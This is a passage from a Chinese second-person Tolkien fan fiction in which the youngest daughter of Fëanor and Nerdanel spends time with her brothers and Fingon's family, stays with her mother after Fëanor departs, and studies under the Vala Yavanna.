说起这个,迈兹洛斯就想起了双亲奈丹尼尔和费艾诺之间的矛盾,总有一天他们的矛盾会走到无法弥合的地步的,真的到了那个时候他们总要做出一个选择,你或许不会选择父亲费艾诺,可他没有选择的余地,这就意味着你们日后很可能会分开。 “我只是……有些担忧未来而已。” “未来都是还没有发生的事情,如果因为虚无缥缈的未来而丧失对眼下幸福的感知那才是最可惜的。” 好吧,芬巩说得有点道理,他那根紧绷的神经也逐渐放松。 走在前面的你和阿瑞蒂尔瞥见远处的宫殿,那是维拉居住的宫殿,阿瑞蒂尔热情地向你介绍那里居住着哪几位维拉,“正是因为他们的存在才使得维林诺美丽繁荣。” 你的注意力压根就不在她说的内容上面,你只是在思考自己何时才能正式见维拉曼威一面。 不多时,你们就来到了阿瑞蒂尔所说的那个湖泊旁边,正如她先前提到的,这片平静的湖泊表面停着一群天鹅,它们正低头用喙帮忙梳理伴侣的毛发,感知到你们的靠近也不害怕,甚至还有几只天鹅从未见过你这个年幼的精灵,更是直接游到河边抬起脑袋好奇地注视着你,似乎在无声地询问你是谁,阿瑞蒂尔帮忙介绍:“这是弥尔洛斯,奈丹尼尔最小的女儿。” 那只天鹅歪了歪脑袋,似乎在认真思索,最后它又向你靠近,阿瑞蒂尔在你耳边轻轻地说:“看起来它喜欢你,你要试着摸一下它吗?”你顺着阿瑞蒂尔的意思伸出手 ,那只天鹅也很配合地凑过来,让你顺利地触碰到它的脑袋,它的羽毛不算太柔软,但是洁白而干净,因此你又多摸了一下。 其他的天鹅也跟凑热闹似的跟着游了过来,用它们之间独特的语言交流。 “奈丹尼尔?是和费艾诺成婚的那位奈丹尼尔吗?” “是的没错,就是和费艾诺孕育了七个儿子的奈丹尼尔。” “维拉在上,她居然又有了一个女儿?这还真是……奇迹啊。” 在你和阿瑞蒂尔看来它们这群天鹅就是在叫个不停,至于它们交流的内容是什么,无论是你还是阿瑞蒂尔都不太清楚,当然,如果你那精通动物语言的三哥凯勒巩在这里的话说不定能充当实时翻译,只可惜他不在这里。 阿瑞蒂尔还说:“如果你喜欢的话,可以带一两只回去。” 没想到阿瑞蒂尔会那么热情好客,最先有反应的是那几只天鹅,他们才不想和那群费诺里安待在一块呢,尤其是那个叫做凯勒巩的精灵还有他身边那只不好惹的大狗,因此刚才还优哉游哉的天鹅一下子就散开了,生怕离你们最近的会变成倒霉蛋被抓走。 “这还是算了吧,我们那里的环境不太适合养天鹅。”而且你也看出来了这群天鹅也不想搬家。 阿瑞蒂尔单手托腮,“好吧。”其实她也觉得你说的话有道理,毕竟你的父亲还有你的兄长看上去都不会喜欢天鹅,他们更喜欢骏马。 “要是加拉德瑞尔也在这里就好了,你知道她吗?她是菲纳芬的小女儿,就和你一样是家里最小的女儿,不过她的年纪比你大一些。”如果真的要算起来,你应该是同辈里年纪最小的精灵了。 由于芬国昐和菲纳芬是亲兄弟,所以这两个家族的精灵关系也更加亲密,如果不是因为芬巩和迈兹洛斯是好友,也许阿瑞蒂尔也不会和你有太多的交集,但和加拉德瑞尔就不一样了,她们以前就经常在一起玩耍,现在虽然长大了,但也时常会见面。 阿瑞蒂尔又开始向你介绍自己这位好友,话匣子一打开就完全收不住了,她能一直往下说,而你也能耐心十足地听她说这些你早就已经知道的事情,因为在第一个副本的时候当你在图尔巩的领地里养病时阿瑞蒂尔就隔三差五地收到加拉德瑞尔的信件,她毫不避讳地带着你一同阅读这些从多瑞亚斯寄来的信件,顺便再穿插一些她们过去的趣事。 这些趣事和现在阿瑞蒂尔与你说的内容重复度很高,但你还能听下去。 说到后面,阿瑞蒂尔索性邀请你到时候去见加拉德瑞尔,“她肯定也会喜欢你的。”她见到你的第一眼就知道你们日后能成为很好的朋友,她想加拉德瑞尔应该也不例外。 还没等你回答,迈兹洛斯和芬巩他们也终于来到你们身边,迈兹洛斯说起自己以前还帮助芬巩一同孵化天鹅蛋的事情,那都是很久以前的事情了,那个时候芬巩才开始养天鹅没多久,在这方面也没什么经验,不光是他没经验,就连天鹅本身也没经验,最后还剩下好几颗天鹅蛋没动静。 “无奈之下我们只能借助费艾诺大人的火炉将那几颗天鹅蛋孵化出来。”说到这里,芬巩还心有余悸,因为要是被费艾诺发现他们在用他创造杰作的火炉孵化天鹅蛋肯定不会给他们好脸色看的。 阿瑞蒂尔感到惊讶又好笑,“你都没和我说过这件事,我还以为那是你自己孵出来的!” 闻言,图尔巩哈哈大笑,“什么——他是那么对你说的吗?他怎么会自己孵蛋啊?” 芬巩瞧了一眼笑声不断的图尔巩,后者明显感受到他的目光,但也不见他收敛笑声,甚至还说:“我当时就猜到了他肯定是借助了别的什么方法。” 你和迈兹洛斯站在旁边围观这群精灵斗嘴,迈兹洛斯牵着你的手,“你想看天鹅飞起来的样子吗?” “但它们现在不是在休息吗?”你奇怪地反问,迈兹洛斯的眼神转移到那群天鹅身上,后者微妙地开始发抖,接着他又说:“但我想它们应该休息够了想要再舒展一下筋骨。” 还没等迈兹洛斯的话音落下,那群天鹅就很配合地一同飞起来,挥舞的翅膀上沾着水珠,它们从你们头顶掠过的时候洒下一片水珠,迈兹洛斯又将你抱起来,让你看得更远一些,如果你们能听懂动物的语言的话,那么现在就能听见这群天鹅飞过去的时候都是骂骂咧咧的。 “我就说了,费艾诺的那几个儿子没有一个是省心的,就连他的大儿子也是这样!” “算了,不是那个凯勒巩你就偷着乐吧。” 等时间来到双圣树光辉交接的时刻,意味着维林诺夜晚的到来,迈兹洛斯一看时间不早了就要带着你离开,临走前阿瑞蒂尔还笑着说:“欢迎下次再来玩呀。” 你很客气地对她说:“我会的。” 结果回去的路上迈兹洛斯就在问:“比起哥哥你更喜欢姐姐吗?” 你木着一张脸,“如果您害怕我喜欢别的精灵又为什么要带我认识他们呢?” 迈兹洛斯心虚地移开视线。 第103章 第103章“你和提耶科莫一样在…… 和迈兹洛斯相处的时间久了你就会发现很多他的小习惯,比如说心虚的时候会沉默许久然后不自然地眨一下眼睛,尽可能装作什么都没有发生过的样子,现在的他也是这样,他也不明白自己是怎么想的,可能是觉得你还是和其他费诺里安待在一块比较好吧,又或者是别的原因,总之,他也搞不懂。 相较之下你甚至比他自己还要了解他,他之所以会带着你去见他的朋友大概率是为了炫耀,毕竟在他看来你是一位非常完美的妹妹,但你和阿瑞蒂尔相处得太好,以至于事情脱离了他的掌控,因此他才会表现得那么无所适从,甚至有些生硬地打断你和阿瑞蒂尔的交流。 你倒也不是完全不能理解他的内心想法,是个有些幼稚的想法。 为了不让他太难堪,你便说:“也不知道今天晚上的甜品是什么。” 这句话一出来你能明显感觉到抱着你的迈兹洛斯从方才的紧绷状态中放松下来,你甚至隐约捕捉到他轻轻地呼出一口气,这样子不免让你觉得有些好笑,你的唇角上扬无声地笑了一下,没让他发现你在偷笑。 “我想想,凯勒巩说他会给你一个惊喜的,所以今天的晚餐应该是他准备的。” 呃……是凯勒巩准备的晚餐啊,早知道你刚才就直接缠着阿瑞蒂尔留在他们那里用晚餐了,你在心里感到后悔,你这也不是歧视凯勒巩做的晚餐,只是这位精灵肯定会在晚餐的时候询问你每一道餐点的评价,你一点也不想把一场普通的晚餐变为美食品鉴会,而且你还得变着法地夸奖他,否则接下来几天他都会大展身手准备晚餐。 虽然晚餐还没正式开始,但你已经感觉到了头疼,你说:“这意味着我晚上又得要想出一大堆夸奖他的话语了,不然按照他 那骄傲的性格,他会一直霸占厨房的。” 迈兹洛斯对你说的话深表赞同,虽然他是大哥但也无法阻止凯勒巩,谁让他实在是太在乎你的评价了呢? 你今天一整天都在外面玩耍,准确来说不是玩耍,而是处理各种交际关系,这让你感觉到有些疲惫,尤其是精神上的疲惫,迈兹洛斯捕捉到你打了个小小的哈切,他说:“你困了吗?” 你“嗯”了一声,脑袋靠在迈兹洛斯的肩膀上,枕着他那柔顺蓬松的红色长发,就好像将自己沉在一片温和的火焰里,迈兹洛斯抱着疲惫的你回到宫殿,此时凯勒巩正在厨房里忙活,跟在他身边忙活着打下手的是阿姆罗德和阿姆拉斯这对双生子,他们就像是两条火红的小尾巴缀在凯勒巩身后,凯勒巩让他们做什么他们就做什么,他们乐此不疲。 “现在把水果派送进火炉里,看好火,别烤过头了。”凯勒巩严肃地叮嘱道,厨房里飘着奶油浓汤的香味,还有烩饭吸满肉汁的浓郁香味。 阿姆罗德打开火炉,阿姆拉斯配合着把标志的水果派一个接着一个地送进火炉里,最后阿姆拉斯拍了拍手掌,示意让阿姆罗德关上火炉。 “也不知道弥尔洛斯和迈兹洛斯他们回来了没有。”阿姆罗德凑到汤锅旁边看着里面正在不断冒泡泡的奶油浓汤,铺面而来的是浓郁的奶香味,眼看火候差不多了,他就把汤锅从架子上端下来。 凯勒巩看了一眼窗外的天色,嘴里嘟哝着,“总应该快回来了吧。” 晚餐的时候凯勒巩果不其然地在等待你对每一道餐点的评价,坐在你身边的玛格洛尔替你整理领口的餐巾,与此同时目光看向餐厅入口,你知道他在等待谁,等的是你们的父亲费艾诺,但是他左等右等都没有等来费艾诺,你们最后还是从母亲奈丹尼尔嘴里得知他今天有事无法参加这次晚餐。 阿姆拉斯奇怪道:“父亲真的忙得连和我们吃一顿晚餐的时间都没有吗?” 阿姆拉斯还读不懂母亲这番话的弦外之音,你猜测费艾诺是为了避免和妻子奈丹尼尔的争论,毕竟在奈丹尼尔看来费艾诺没必要和同父异母的兄弟撕破脸皮,至少不要将气氛闹得那么僵硬,她这是出于对大局的考虑才会那么提议的,但是在费艾诺看来,他的理智告诉他奈丹尼尔说的确实没错,但是他的情感却又认为她并未站在自己这一边,从而使得两者的关系渐行渐远。 “我想他下次就会来参加晚餐的,我听说今天的晚餐是你和阿姆罗德还有凯勒巩亲手制作的?”奈丹尼尔应付自己的儿子很有一套,他先是安抚对方的情绪,然后再巧妙地转移话题,阿姆拉斯的注意力都转移到晚餐上,他说:“是的,餐后甜品就是我和阿姆罗德准备的——虽然是餐后甜品,但是您现在也可以尝尝。” 奈丹尼尔配合地品尝水果派,你安静地围观他们的互动,坐在你身边的玛格洛尔察觉到你实在是太安静了,虽然你平常也很安静,但在晚餐的时候多多少少都会说几句话的,而不是像现在这样不发一语。 玛格洛尔也切了一块水果派放在你的餐盘里,“偶尔一次把餐后甜点提前的感觉应该也不错吧?” 你用叉子叉起一小块水果派送进嘴里,味道确实很不错,你说:“很好吃。” “你不用担心太多事情。”玛格洛尔轻声细语,“无论发生什么事情你的哥哥都会替你解决的。” 你拿起水杯,说实话你也没在担心费艾诺不来参加晚餐这件事,目前最苦恼你的事情莫过于如何才能见到曼威,并且说服他带你去见伊露维塔,至于其他的事情,你倒是没有那么在意。 “真的吗?如果我弄坏了卡兰希尔的天平,把凯勒巩最漂亮的衣服撕成碎片,然后又把你的竖琴弄坏呢?”你带着几分恶趣味地反问,没成想玛格洛尔却笑着说:“不,你不会那么做的,而且就算你真的那么做了,也一定是有原因的。” 别看玛格洛尔平日里是性格温和最不像费诺里安的那一个,你总觉得无论你做出什么事情玛格洛尔都能为你找到合适的理由,将你所做的一切都合理化,这可比其他费诺里安还要可怕。 你不知道该说些什么,于是低头认真喝水,顺便再给凯勒巩一些关于餐点的评价,凯勒巩听到一半还小声地对你说:“你知道我最漂亮的衣服是哪一件吗?”原来他刚才一直在留意你和玛格洛尔的对话,这也不能怪他,毕竟精灵的听力实在是太敏锐了,而且他只是一个不留神就听见了你们的对话,总之……这不是他的错,要怪就怪玛格洛尔说话的动静太大了。 “不知道。” “好吧,就是那件绣着暗纹的白金色长袍。”他自顾自地说起那件最漂亮的衣服,任凭你都插不上话,你只能保持安静,听他说完这番话,最后他来了一句总结,“但其实就算你真的把那件衣服弄成碎片我也不会生气。”他根本没必要为了一件衣服对你生气,因为不管怎么说他可是个大度的精灵啊。 好不容易等待这顿晚餐结束,阿姆罗德和阿姆拉斯又拉着你去休息室下棋,玩的是类似于飞行棋的游戏,玩家的数量最多是四个,但他们没找其他的精灵,一方面是因为其他费诺里安觉得这游戏很幼稚,大概只有凯勒巩会加入这个游戏,但他的加入又有一个坏处,那就是一旦他输了就会喋喋不休,听得他们的耳朵都要起茧子了,另一方面更是因为他们不希望别的精灵打扰你们接下来的对话。 阿姆罗德走到休息室里先打开灯,阿姆拉斯找出棋盘还有棋子然后把棋盘展开放在小矮桌上,你在他旁边坐下,坐在毛茸茸的地毯上,帮着把混合在一起的棋子按照颜色分类,然后再摆到对应的位置上。 阿姆拉斯一边摆放棋子一边说:“我和阿姆罗德还在研究另外一个新的游戏,嗯……应该算是在这个游戏基础上的改良版,到时候改良成功了,你将会是第一个试玩的精灵。”他们兄弟俩很喜欢创新各种游戏。 你配合地表示期待,“那真是太好了,我会等待这一天到来的。” 阿姆拉斯单手托腮,“你说这话是认真的吗?我怎么感觉你是在敷衍我们呢?” 心智比弟弟稍微成熟一点的阿姆拉斯在他的另外一边坐下,笃定地回答:“是的没错,弥尔洛斯就是在敷衍我们,但她平常也是这么敷衍别的精灵的,所以……就别那么斤斤计较了。” “我才没有斤斤计较呢。”阿姆拉斯先一步选择红色的棋子,阿姆罗德只能选择蓝色,而你的棋子则是黑色的,游戏刚开始过了没多久,阿姆拉斯就说:“我还是不明白,父亲怎么会突然变得那么忙碌呢?他又在打造什么惊世大作了吗?” 你的指腹摩挲黑色的棋子,阿姆罗德显然比弟弟阿姆拉斯知道稍微多一些的内情,但他不希望让这个话题破坏晚上的娱乐时间,因此他顾左右而言他,“我不知道,但如果你想要用这个话题来分散我的注意力好让你赢得这盘棋,那你可就大错特错了。” “嘿——我可没那么狡诈!而且那不是凯勒巩经常做的事情吗?”阿姆拉斯赶紧嚷嚷起来,就在他们争论个不休的时候你已经趁着他们不注意遥遥领先,当你放下手中的黑色棋子,你笑着说:“如果你们再继续争论下去,那么毫无疑问的,这场游戏的赢家非我莫属。” 听你那么说阿姆罗德和阿姆拉斯这才回过神来,着急忙慌地分析现在的局面,接下来的时间他们都很安静,就算说话也只是说一些和游戏有关的话题,至于别的,比如费艾诺为什么不出现这种话题早就被他们抛之脑后。 当然,最后的赢家还是你,你们又玩了几局,因为你有意放水,所以阿姆罗德和阿姆拉斯分别赢了一次,最后就是大家都这个结果都很满意,阿姆罗德和阿姆拉斯躺在地毯上,说着明天后天还有未来很多天的打算,说到后面,还是奈丹尼尔找来了 休息室催促你们赶紧去洗漱睡觉,奈丹尼尔一手牵着你,另外一只手牵着阿姆拉斯(因为阿姆罗德表示自己已经长大不需要母亲牵着)。 阿姆拉斯说着母亲奈丹尼尔真该来围观你们刚才那几局游戏的,他还提到了自己力挽狂澜的一局,但其实他嘴里的力挽狂澜实则是你有意放水。 奈丹尼尔把他们兄弟俩送回自己的房间,最后带着你去到你的卧室替你洗漱,最后又以维拉的故事作为睡前故事,你的一天就这么结束了。 日子就在这样循环往复中度过,一天两天,一年两年,这对于精灵来说没有太大的区别,因为精灵的寿命实在是太漫长了,以至于一两年的时间也不过是眨眼间就过去了的,伴随着你的年岁增长你也终于得以见到维拉,虽然不是曼威,而是雅凡娜,但总的来说,也算是见到了维拉。 奈丹尼尔与维拉雅凡娜的关系很好,因此她带着你去见这位维拉的时候后者也没有太惊讶,她主动向你走来,她的身上散发着一个大自然独有的清香,那是混杂着草木的气味,她牵起你的手,“你就是奈丹尼尔最小的女儿弥尔洛斯是么?” 维拉雅凡娜的伴侣是奥力,后者是诺多精灵非常敬爱的维拉,尤其是费艾诺,他就师从奥力,可以说是奥力的得意门生。 “是的,您就是雅凡娜大人……我的母亲和我说过您的故事。” 雅凡娜伸手抚摸你的头发,动作轻柔,“我对你也有所了解,我知道你不仅仅是一位费诺里安,而且还有可能是最特殊的一位费诺里安。” 身旁的奈丹尼尔听到雅凡娜那么说,她却有些笑不出来,毕竟在她看来其他费诺里安都太执着,这份执着终有一天会酿成苦果。 “大人,我希望弥尔洛斯能够成为您的学生。”奈丹尼尔说,这样一来如果费艾诺真的想要将你带走,她也可以以维拉的名义拒绝他的请求,这是奈丹尼尔所设想的做好的情况了。 “我很高兴她能够成为我的学生,只不过在此之前我还得要问过她的想法。”说着,雅凡娜又注视着你的双眼,问道:“你愿意成为我的学生吗?” 当雅凡娜的学生对你来说没什么坏处,甚至可以说有许多好处,比如说你在此之就能理所当然地和其他维拉见面,这样距离你达成自己的目的就又更进一步,你毫不犹豫地点头答应,“我当然愿意。” “很好,那么从今往后你就是我的学生了。” 于是接下来的时间你又在雅凡娜那里学习了一阵子,这生活可以说是悠闲美好,不过这样的日子总会迎来终结的那一天,这天当你回到宫殿的时候只见凯勒巩满脸郁愤地收拾自己的东西,见到你回来了,他这才收敛起脸上的表情,想要向你露出一个笑容,但他现在的心情实在是和高兴不沾边,因此露出来的笑容也非常勉强。 他说:“弥尔洛斯,我们要离开这里了。” 你在想他说的“我们”里包括了你吗?但没等你询问,他就说:“以后你就跟着母亲生活吧,我们以后有机会一定会来看你的。” 啊……你一下子就明白了,所以说费艾诺还是和奈丹尼尔走到了这一步是么,对此你也不奇怪,毕竟这件事情你从几年前就初见端倪,现在发生也在你的意料之中,就是凯勒巩表现得太伤心了,这就出乎你的意料了,因为这又不是什么生离死别的,他的情绪也太夸张了一些吧? 你难得主动握住他的手,“你们要去哪里呢?” 凯勒巩俯身与你视线齐平,“跟随我们的父亲,他决定我们去往哪里。”听到这个回答你就忍不住扯了扯嘴角,果然就算是换了个种族依旧得要凡事都听父亲的么? “如果不呢?” “我们没有说不的权利。”凯勒巩的表情变得很严肃,他也不想这样的,他俯身抱住你,其实他也觉得你在母亲奈丹尼尔身边长大会是一件好事,母亲会好好照顾你的,只是一想到或许得要过很久才能再见到你,他只觉得眼眶酸涩。 “凯勒巩,你在哭吗?”被他抱着的你看不到他的面庞,你只能通过他的呼吸声来判断他现在的情绪很不稳定,后者没说话,过了许久才松开双臂,直起身,背对着你用手背擦拭眼睛。 果然是在哭吧。 你还是不明白,为什么费艾诺能够决定自己这些孩子的未来,也许并不是他们没有反抗的意识,只是他们也是爱着这位父亲的吧,那就属于一个愿打一个愿挨了。 凯勒巩尽可能让自己的语调听上去平静一些,他说:“趁着现在还有时间,你再去和别的哥哥告别吧。”这时候的凯勒巩倒是格外的通情达理,甚至还让你去和别的费诺里安道别,你虽然嘴上答应了,但你没想着真的一个一个道别过去,这样就太浪费你的时间了,不过你在路过迈兹洛斯的房间时还是停下脚步。 他房间的门没关,他正背对着你整理东西,但其实真的要带走的东西并不多,毕竟他们接下来应该会和父亲费艾诺在阿门洲的其他地区游历,带太多的东西反而是负担,你在他的房门口停留了一会,他似乎感知到你的存在,回过头,发现真的是你,他笑了一下,“你刚从雅凡娜大人那里回来?” “你又是怎么知道的?” “我知道你这段时间都在她那边学习,我还知道你上次去了欧洛米大人的森林。”你的很多事情他都知道,比起经常缺席的父亲费艾诺,他倒像是个尽职尽责的家长,你瞥了一眼他的行李,又问:“那你知道我现在在想什么吗?” “嗯……你在舍不得我们吗?”迈兹洛斯试探性地问道,如果可以他也很想带上你,他的情感上是那么想的,但是理智告诉他你应该在母亲的照顾下长大。 “稍微有点。”你慢吞吞地说,“虽然凯勒巩平常咋咋呼呼的,有时候我会觉得有些吵闹,但他刚才和我说话的时候哭了,我就知道他肯定也很舍不得这里,你们不能留下来吗?” 这个问题你刚才也问过凯勒巩,现在又重复问一遍你就觉得太多余了,因为从既定的历史来看,他们当初既然能够跟着父亲费艾诺出奔,而且还对伊露维塔甚至是众维拉立下誓言那就不难看出他们十分听从父亲的命令。 所以这问题无论换成谁来回答,都不会得到你想要的答案,迈兹洛斯也不例外。 他叹息一口气,“恐怕不行,但是换个角度想一下,我和其他费诺里安把阿门洲有趣的地方都走一遍,等到时候你长大了,问起来阿门洲哪里有趣,那我们肯定会给出各种答案,这样不是很好吗?” 听上去好像不错,但是看他的表情就觉得又是另外一回事了,即便是迈兹洛斯也会有些舍不得母亲奈丹尼尔,同样也舍不得你,他缓慢地眨了一下眼睛,你半开玩笑地说:“好吧,你不在的时候我可以找芬巩他们。” 迈兹洛斯抿抿唇,“那你可不能把我们给忘了。” “精灵的记性没那么差。” “你明明知道我说的不是这一回事。”迈兹洛斯想要抚摸你的头发,但是想起来你不太喜欢被触碰头发,就转而用掌心贴着你的侧脸,“当然,如果和他们待在一块能让你开心的话,就那么做吧,我会一直站在你这边的。” 过了一会,你学着他的样子托着他的侧脸,擦去他的眼泪,“你和提耶科莫一样在掉眼泪。” 第104章 第104章“你别多想,她很爱你…… 闻言,迈兹洛斯旋即又对你露出一个笑容,你收回手,后来你又向其他费诺里安告别,你原本还在思考要不要去向费艾诺告别的,但他比你先一步找了过来,尽管他已经和奈丹尼尔谈论过你的去处,可他还是想听听你的想法,因此他特意找到你。 他说:“你的母亲希望你能留在这里,对此你是怎么想的?” 你还能怎么想呢,跟着 母亲奈丹尼尔的生活会更加稳妥一些,尽管费艾诺才能出众,但是架不住他的脾气实在是孤傲,哪怕你是他的孩子也不代表他会无条件的纵容你,你平静地望向费艾诺,“如果换做是年幼的您肯定也更想要跟随在母亲身边吧?” 此话一出,费艾诺沉默了,就连他先前准备好的说辞也都忘了说,的确,你说的没错,如果是以前的费艾诺,肯定也更希望母亲弥瑞尔能够陪伴在自己身边,而他刚才却在思考将你从母亲奈丹尼尔身边带走,他垂下眼帘,凝望着你,仿佛在你身上看到了自己的影子,你的长相与他有几分像,而且平静的神色也十分相像。 费艾诺抚摸你的头发,“我知道了。” 你趁着他的手还没有收回去握住他的手,他的目光再次扫了过来,你说:“您的父亲芬威的确很爱您,所以我认为您没必要和芬国昐大人表现得太剑拔弩张,无论怎么说您终将是诺多至高王。” 费艾诺没想到你会那么说,他下意识地反问:“这话又是谁对你说的?你的母亲?”毕竟奈丹尼尔屡次劝说他要与芬国昐和平相处,也许你就是受到了她的影响。 “没有谁,是我自己想要那么说的。”你的眼里浮现出不属于这个年纪的沉着冷静,“祝您接下来的旅途一切顺利。”话音落下,你也松开手。 费艾诺就这样离开了,带着他的七个儿子不动声色地离开提力安,去往阿门洲的其他地区,你的生活也归于平静,在迈兹洛斯他们走后芬巩也自然而然地承担起你的兄长的责任,好吧,其实主要是担心你会感到孤独,所以经常邀请你去他们的宫殿玩耍,阿瑞蒂尔甚至还往自己的卧室里又新装一个衣柜用来装你的衣服,你偶尔会在她那边留宿。 芬国昐和菲纳芬的孩子经常聚在一块嬉戏玩闹,一开始你的存在还有些格格不入,但在阿瑞蒂尔的帮助下,这么一来二去你就和他们逐渐熟悉起来,维林诺时期的精灵性格大部分都很活泼,身上时常流露出一股蓬勃的生命力。 虽然费艾诺走的时候没什么动静,但是他和奈丹尼尔之间发生的事情其他精灵也都看得出来,因此其他精灵在对待你时往往带着十足的耐心甚至还掺杂着些许同情,虽然你也不知道这有什么好同情的,在你看来这种情况总比双亲闹得天翻地覆互相把对方打进医院最后再一把火烧了家要好不知道多少倍,毕竟这种糟糕的情况你也是亲身经历过的。 因此在这些精灵表现出同情的时候你都会直截了当地告诉他们,你觉得自己现在的生活很好,但你强调的次数多了,好像起到了反作用,他们的同情心越发泛滥,纷纷邀请你去他们的住所做客,对此你都找借口拒绝了,你给出的理由是自己还要去维拉雅凡娜那里上课,每次你拿出维拉的由头那些热情的精灵也都会纷纷表示理解。 这段日子你几乎每天都往维拉雅凡娜的宫殿跑,后者也很欢迎你的到来,你们平常上课就是在森林里漫步,雅凡娜会一边散步一边向你介绍各类动植物,这天的这堂课格外长,你们甚至从森林里走到了海岸边,雅凡娜说:“海里也生长着许多植物,但你得先学会潜水才能接触它们。” 你们站在港湾口,喜爱大海的泰勒瑞精灵就居住在不远处的澳阔泷迪,美丽的白色天鹅船静静地停在港湾里,海浪一耸一耸地轻轻拍打着海岸,蜿蜒的海岸线散发着微弱而动人的光芒,那是诺多精灵曾经送给泰勒瑞精灵的见面礼,泰勒瑞精灵将其撒向大海,就这样形成一道独特的风景线。 远处波光粼粼的海面上出现几道飞翔的身影,雅凡娜说:“那是暗影海鸟,最勇敢的海鸟,不畏惧风浪。” 你知道这种鸟,很久以前就知道了,在阿瑞蒂尔送你那套盔甲的时候就向你介绍过这种鸟类,因此你脱口而出,“我知道……” 雅凡娜好像看到了什么,她说:“它们朝我们飞过来了。” 准确来说是朝着你飞过来的,其中一只海鸟在你的胳膊上停下,你看见它的腿上绑着的一封信,拆下这封信,你看了眼信封表面的署名,好吧,不是一个具体的名字,而是非常笼统的“费诺里安”,不过看字迹应该是玛格洛尔写的,你当即拆开信封,这封信比你想的还要长,而且每一段文字的字迹都不太一样,看来是他们各写了一部分汇集成一封信寄给了你。 开头应该是凯勒巩写的: 最小的费诺里安你好,你最近过得怎么样?我们正在阿门洲的北方,从这里向北望去可以看见漫无边际的冰川,你有见过冰川吗?那看上去很危险,而它的美丽也是毋庸置疑的。 凯勒巩写了好几行字都在描述那片冰川,最后末尾非常不经意地提了一句自己有些想念你和母亲。 “代我向母亲问好,并且告诉她我过得很好。” 接下来是迈兹洛斯写的内容,比起凯勒巩那么不着调行文,他更关心你的日常生活,比如说你是否有认真对待一日三餐,又比如说你和母亲的近况,最后他又提了一句,“让母亲不用挂念我们,我们一切安好。” 其他的费诺里安写的内容都大差不差,无非就是询问你的近况并且让你向母亲问好,这也是无奈之举,因为如果直接向母亲奈丹尼尔写信或许会引起父亲费艾诺的注意。 你看完这封信又收起来,雅凡娜问道:“是你的哥哥给你写的信?” 你点了点头,“是的。” 雅凡娜欣慰地笑着说:“距离并不会影响你们之间的情谊。” 接着她又说了一堆关于亲情的心灵鸡汤,你都没仔细听,你在回去的路上询问雅凡娜,“我该如何才能见到曼威大人?” 雅凡娜奇怪地问:“你有什么事情要找曼威大人的吗?” “有一个问题或许只有他能够帮助我,但是恕我不能告诉您这个问题是什么。” 雅凡娜通情达理,听你这么说她还表示自己之后会找时间与曼威谈论此事的,但估计你还得要再等一阵子,毕竟维拉的办事效率你有目共睹。 你带着海鸟送来的那封信回到母亲奈丹尼尔身边,晚餐后你们坐在露天阳台上,你用柔软缓慢的语调给她念信,奈丹尼尔偶尔会让你暂停一下,“等一下,提耶科莫是说他们差点就要去到冰川那里了吗?” “嗯……是差一点,但我想应该没有进入冰川那片区域。”你瞥见奈丹尼尔脸上稍显忧愁的神色,你接着往下念,玛格洛尔十分关心母亲奈丹尼尔,询问了许多,等你念到阿姆罗德和阿姆拉斯的内容时,其实你一下子很难分辨出那是谁的字迹,他们身为双生子就连字迹都很相像,他们的内容就很跳脱活泼了,听得奈丹尼尔笑了起来,她说:“他们还是老样子,也不知道他们什么时候才能成熟一点。” 这封长信就念完了,奈丹尼尔从你手里接过信纸,又仔仔细细地看了一遍,过了一会,她才说:“你会不会觉得我太自私了呢,将你留在我身边,使得你与手足分别。” 你走到奈丹尼尔身边,“不会。” 她那么做你完全可以理解,而且她之所以那么做也只是希望你能够在更加平和的环境中成长,她尽到了一个母亲的责任,你没有任何理由责怪她,甚至于如果你最初的人生能够遇到这样的母亲或许就不会在幽暗的出租屋里猝死了。 你半跪在她身边,“我也愿意留在您身边。” 奈丹尼尔伸出手抚摸你的侧脸。 日子就在不断的重复中度过,还掺杂着许多场精灵宴会,精灵举办宴会的原因多种多样,只要他们想,当天天气不错都能成为举办宴会的理由(尽管在维林诺四季如春没有一天不是好天气),有的宴会是诺多精灵举办的,有的是凡雅精灵举办的,最有趣就要数泰勒瑞精灵的宴会了,那是在船上举行的,还有潜水的娱乐活动。 你有意结识了几位泰勒瑞精灵,她们热情地将潜水的技巧传授给你,并且不厌其烦地一遍又一遍地示范给你看,在你和她们的努力下,你成为了诺多精灵里最擅长潜水的精灵,就连泰勒瑞精灵见到你在水下的身影都会惊讶于你的技巧熟练。 又一次潜水结束,你带回来满满当当一袋子的贝类,坐在岸边,用手挤干头发,但光用手是挤不干的,因此你的发梢还在滴滴答答地往下滴水,守在岸边的芬巩及时拿出一条毛毯盖在你身上,你一手拿着小刀,一手随机拿起一个贝类,这颗贝类比你的手掌还要大一些,拿在手里沉甸甸的,你问芬巩:“你猜这里面会有珍珠吗?” “应该会有。”芬巩很捧场地说,在迈兹洛斯还有其他弟弟离开后他就自然而然地开始以哥哥的身份照顾你,虽然按照血缘关系来看他确实是你的哥哥,但你一开始还是有些不习惯,不过好在十多年时间几乎在一眨眼就过去了,你也逐渐能够适应他的过度关心。 小刀顺着贝壳的缝隙刺进去,然后握着刀柄的 手一个翻转,贝壳就这么被你给撬开了,你在其中寻找珍珠,那颗珍珠形状圆润,很适合做成首饰,“阿瑞蒂尔肯定会喜欢的。”这次你找到的贝类很多,兴许能给阿瑞蒂尔凑出一条珍珠项链来。 “阿瑞蒂尔一定会很高兴的,就是换做其他精灵估计会很羡慕吧。”芬巩意有所指地说道。 你默不作声地把剩下的贝壳都给开了,然后把珍珠全都收集起来,站起身,捕捉到神色略带失落的芬巩,你又从袋子里拿出一颗珊瑚,递给他,“喏,这是送你的礼物,现在你应该不羡慕了吧?” 拿着珊瑚的芬巩不知所措地缓慢眨了一下眼睛,“送给我的?” “是啊。”难道他不喜欢吗?“要是你不喜欢的话,我就转送给其他精灵吧,给芬罗德吧,他肯定会喜欢的。” 没成想芬巩睁大眼睛,“但你都已经把它送到我手里了——”哪里还有再收回去的道理的呢? 你从芬巩身边走过,他顿了顿才跟上你的脚步,他又问:“其他精灵也会有类似的礼物吗?” “没有,我近期内不会去潜水了。”你说。 你和芬巩从港口离开,去到芬国昐的宫殿,你在那里有一间专属的房间,本来你是和阿瑞蒂尔睡在一块的,但是伴随着年岁增长,芬国昐就又给你准备了一个专属房间,其实在你看来这位与你父亲同父异母的弟弟性格也不算坏,甚至处事得体,当然,你那么说也不是想要指责费艾诺,因为子女不和主要还是家长的原因,没错,你说的就是那个唯一一个二婚的精灵,同样也是现任诺多至高王的芬威。 